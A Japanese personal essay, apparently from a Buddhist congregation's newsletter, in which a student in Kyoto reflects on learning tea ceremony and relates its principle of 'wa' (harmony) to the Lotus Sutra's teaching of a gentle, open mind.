12月の京都は朝晩ともに一段と冷え込んできました。京都は盆地のため夏は蒸し暑く、冬は底冷えするので、気候の変化を厳しく感じます。平安時代、清少納言が枕草子に「冬はいみじう寒き、夏は世に知らず暑さ」と歌っておりますので、京都の気候は昔から変わっていないことがわかります。ともあれ冷えは万病の元ですから、関東にお住まいの方々も気をつけてお過ごし下さい。
さて、およそ1000年の間、京都は日本の政治文化の中心地であったために、色んな老舗が数多くあるそうで、茶道の世界でも中心となる家元がいくつかあります。
有名なのは、表千家、裏千家、武者小路千家の三千家ですが、現在は約90ぐらいの流派に分かれており、それぞれ作法がちがうものと聞いております。
文化芸事に疎い私などが思いうかべる茶道のイメージは、
「抹茶はにがい」
「作法が色々ある」
「稽古事はきびしい」
など…正直あまり良いイメージではありませんでしたが、私が京都の学校へ行くことに決まりましたら、昔からお世話になっている方より「上洛するなら是非習った方が後で役に立ちますよ」とのお勧めをいただき、学校の合間に稽古をさせていただいております。
先日、茶道の先生との会話の中で、今の時代は快適なマンション住まいが人気となり、部屋が手狭なので和室よりもフローリングの住宅が多く、よって畳の部屋で生活することが少なくなっているみたいです。時代の流れと共に、正座をする機会がなくなり、行儀作法がゆるくなってきたので、茶道に対する興味や関心がなくなってきたのでは、と仰っておりました。
私自身、どちらかといえば茶道は女性が習うものと決めつけておりました。けれども一念発起して勉強させていただきますと、一つ一つの作法の中にも深い精神性があることを教えていただきました。
中でも、いくつかの流派でも共通して重んじられているのが、「和・敬・清・寂」という作法です。これらの字をみると仏教の教えと深いつながりがあるようなので、茶道の4つの精神と仏さまの教えはどのように関係しているのか、とりわけ「和」について考えてみることにいたします。
一般に、和の字は「平和」や「和やか」という言葉などで使われますが、法華経の第16章の如来寿量品には「柔和質直者」という言葉があり、仏様が「和」についてお説き下されています。ごく簡単にいうと、柔和とは一つの考えに偏らない、のびのびとした心のことであります。
しかし、自分の心が柔和であるか柔和でないか、一体どこで判断したらよいのか分かりにくいと思います。自分なりにちょっと考えてみたのですが、自分の考えていることが間違っていると気が付いたら、素直に自分の非を認めて、考え方を補正していく。それが柔和の心の持ち主だといえるのではないでしょうか?
現代社会で茶道の行儀作法がゆるんできたとしても、「和」の精神までも失われてしまうとしたら、そんなに勿体ないことはありません。皆さんも機会があれば日本の古き良き伝統の中から、或いはご信者さんなら御題目を通じて、和の精神を大事にして頂きたいと願う次第であります。
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